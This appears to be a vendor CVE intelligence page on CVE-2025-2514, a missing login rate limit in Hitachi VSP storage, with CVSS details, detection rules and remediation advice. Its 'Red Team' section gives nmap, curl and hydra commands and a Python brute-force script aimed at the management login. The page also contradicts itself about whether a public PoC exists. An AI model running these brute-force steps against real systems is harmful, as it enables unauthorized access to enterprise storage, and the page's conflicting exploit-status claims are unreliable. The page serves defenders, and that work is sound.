☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Hitachi logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-307
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-2514

CVE-2025-2514 Unauthorized Access in Hitachi
📅 PUBLISHED: 2026-05-07 09:16 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1110
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Japan License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-2514 is a medium-severity vulnerability affecting a wide range of Hitachi Virtual Storage Platform (VSP) products. The flaw is an improper restriction of excessive authentication attempts (CWE-307), which allows an unauthenticated, remote attacker to perform brute-force attacks against the storage system's management interface without any rate limiting or account lockout mechanisms. This can lead to unauthorized access to the administrative web interface, potentially compromising the confidentiality of stored data and system configurations. The vulnerability has a CVSS score of 5.3, and while no public proof-of-concept (PoC) or exploit code is currently available, the attack vector is straightforward and well-understood. Hitachi has released firmware patches to address this issue. Given the critical nature of storage platforms in enterprise environments, immediate patching is strongly recommended.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None (N) - The attacker does not need any prior authentication.
  • User Interaction (UI): None (N) - No user action is required to trigger the exploit.
  • Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): Low (L) - Successful exploitation could lead to limited disclosure of information (e.g., administrative credentials).
  • Integrity (I): None (N) - No data integrity impact.
  • Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. The lack of rate limiting on authentication attempts makes this a straightforward target for brute-force attacks. While no public exploits exist, the attack methodology is trivial, and the potential for credential compromise is significant.

Deep Dive & Mechanics

The vulnerability resides in the authentication mechanism of the Hitachi VSP management interface (typically accessed via HTTPS on a dedicated management port). The system fails to implement proper controls to limit the number of failed login attempts from a single IP address or user account. This allows an attacker to systematically try different username/password combinations without being blocked or delayed.

Attack Flow:

  1. Reconnaissance: The attacker identifies a vulnerable Hitachi VSP device on the network (e.g., via Shodan or internal scanning).
  2. Targeting: The attacker targets the management web interface (e.g., https://<vsp-ip>/).
  3. Brute-Force: Using a tool like hydra, medusa, or a custom Python script, the attacker sends a high volume of login requests with common or default credentials (e.g., admin/admin, root/root, vsp/vsp).
  4. Credential Harvesting: If successful, the attacker gains administrative access to the storage system.
  5. Post-Exploitation: With admin access, the attacker can view, modify, or exfiltrate data, create new user accounts, modify system configurations, or pivot to other network segments.

Root Cause: The absence of a rate-limiting mechanism or account lockout policy in the authentication module. This is a classic CWE-307 vulnerability.

Vulnerable vs. Patched Code

Since the specific source code is proprietary, we can infer the difference based on the patch description.

Vulnerable Code (Conceptual):

# Pseudocode for vulnerable authentication endpoint
def login(request):
    username = request.POST['username']
    password = request.POST['password']
    if authenticate(username, password):
        return "Login successful"
    else:
        return "Invalid credentials"

No rate limiting or account lockout logic is present.

Patched Code (Conceptual):

# Pseudocode for patched authentication endpoint
from collections import defaultdict
import time

failed_attempts = defaultdict(int)
lockout_time = defaultdict(float)
MAX_ATTEMPTS = 5
LOCKOUT_DURATION = 300  # 5 minutes

def login(request):
    ip = request.remote_addr
    current_time = time.time()
    
    # Check if IP is locked out
    if ip in lockout_time and current_time < lockout_time[ip]:
        return "Account locked. Try again later."
    
    username = request.POST['username']
    password = request.POST['password']
    
    if authenticate(username, password):
        # Reset failed attempts on success
        failed_attempts[ip] = 0
        return "Login successful"
    else:
        failed_attempts[ip] += 1
        if failed_attempts[ip] >= MAX_ATTEMPTS:
            lockout_time[ip] = current_time + LOCKOUT_DURATION
            return "Account locked due to too many failed attempts."
        return "Invalid credentials"

The patched version implements IP-based rate limiting and temporary account lockout after a threshold of failed attempts.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Target: A virtualized or physical Hitachi VSP device (e.g., VSP G350) with a vulnerable firmware version.
  2. Attacker: Kali Linux machine on the same network.
  3. Tools: hydra, nmap, curl, python3.

Exploitation Steps:

  1. Identify the target:

    nmap -p 443 --script http-title <target-ip>
    
  2. Verify the login endpoint:

    curl -k -X POST https://<target-ip>/login -d "username=admin&password=test"
    
  3. Perform a brute-force attack using hydra:

    hydra -l admin -P /usr/share/wordlists/rockyou.txt <target-ip> https-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
    

    Note: The exact form parameters and failure string may vary. Adjust based on actual response.

  4. Automated Python script (example):

    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    target = "https://<target-ip>/login"
    usernames = ["admin", "root", "vsp"]
    passwords = open("/usr/share/wordlists/rockyou.txt", "r", errors="ignore").readlines()
    
    for user in usernames:
        for passwd in passwords:
            passwd = passwd.strip()
            data = {"username": user, "password": passwd}
            try:
                r = requests.post(target, data=data, verify=False, timeout=5)
                if "Invalid credentials" not in r.text:
                    print(f"[+] Found credentials: {user}:{passwd}")
                    break
            except:
                pass
    

Blue Team (Defensive)

Detection & Prevention:

  1. Monitor for excessive failed logins: Use SIEM to alert on >5 failed login attempts from a single IP within 5 minutes.
  2. Implement network segmentation: Restrict access to the VSP management interface to trusted administrative networks only.
  3. Enable account lockout: If the device supports it, configure account lockout after a small number of failed attempts.
  4. Use strong, unique passwords: Avoid default credentials.
  5. Deploy a Web Application Firewall (WAF): Configure rules to block IPs that exhibit brute-force behavior.
  6. Apply the vendor patch immediately.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • High volume of HTTP POST requests to /login endpoint from a single IP address.
    • Repeated 401 or 403 HTTP status codes from the VSP management interface.
    • Unusual login attempts from unexpected geographic locations.
  • System IOCs:
    • New user accounts created on the VSP.
    • Changes to system configuration or access control lists.
    • Unusual data access patterns (e.g., large data exports).
  • Log IOCs:
    • Audit logs showing multiple failed login attempts from the same source IP.
    • Logs indicating successful login from an IP that previously had many failures.

Detection Engineering

YARA Rule

rule CVE_2025_2514_Hitachi_VSP_BruteForce {
    meta:
        description = "Detects brute-force login attempts against Hitachi VSP management interface"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-2514"
    strings:
        $login_endpoint = "/login"
        $fail_string = "Invalid credentials"
        $fail_string2 = "Authentication failed"
    condition:
        # of ($login_endpoint) > 10 and (# of ($fail_string) + # of ($fail_string2)) > 10
}

Sigma Rule

title: Brute-Force Login Attempts on Hitachi VSP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple failed login attempts to Hitachi Virtual Storage Platform management interface.
author: Valters IT
date: 2025/04/10
logsource:
    category: web
    product: hitachi_vsp
detection:
    selection:
        cs-uri-stem: '/login'
        sc-status: 401
    timeframe: 5m
    condition: selection | count() by src_ip > 5
falsepositives:
    - Legitimate users forgetting passwords
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"CVE-2025-2514 Hitachi VSP Brute-Force Attempt"; flow:to_server; content:"POST"; http_method; content:"/login"; http_uri; content:"username="; http_client_body; content:"password="; http_client_body; threshold: type both, track by_src, count 5, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Apply the vendor patch: Update the Hitachi VSP firmware to the versions specified in the patch details.
  2. Restrict network access: Use firewall rules to limit access to the management interface to only trusted IP addresses or VPN connections.
  3. Change default credentials: Ensure all default usernames and passwords are changed to strong, unique values.

Long-Term Measures:

  1. Implement multi-factor authentication (MFA): If supported, enable MFA for administrative access.
  2. Deploy a centralized logging and monitoring solution: Forward VSP logs to a SIEM for real-time analysis.
  3. Conduct regular vulnerability scans: Include the VSP in your vulnerability management program.
  4. Develop an incident response plan: Have a clear procedure for responding to brute-force attacks on critical infrastructure.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Hitachi Virtual Storage Platform
Hitachi VSP G130
Hitachi VSP G150
Hitachi VSP G350
Hitachi VSP G370
Hitachi VSP G700
Hitachi VSP G900
Hitachi VSP F350
Hitachi VSP F370
Hitachi VSP F700
Hitachi VSP F900
Hitachi VSP E390
Hitachi VSP E590
Hitachi VSP E790
Hitachi VSP E990
Hitachi VSP E1090
Hitachi VSP E390H
Hitachi VSP E590H
Hitachi VSP E790H
Hitachi VSP E1090H
Hitachi VSP One Block 23
Hitachi VSP One Block 24
Hitachi VSP One Block 26
Hitachi VSP One Block 28

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-2514/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.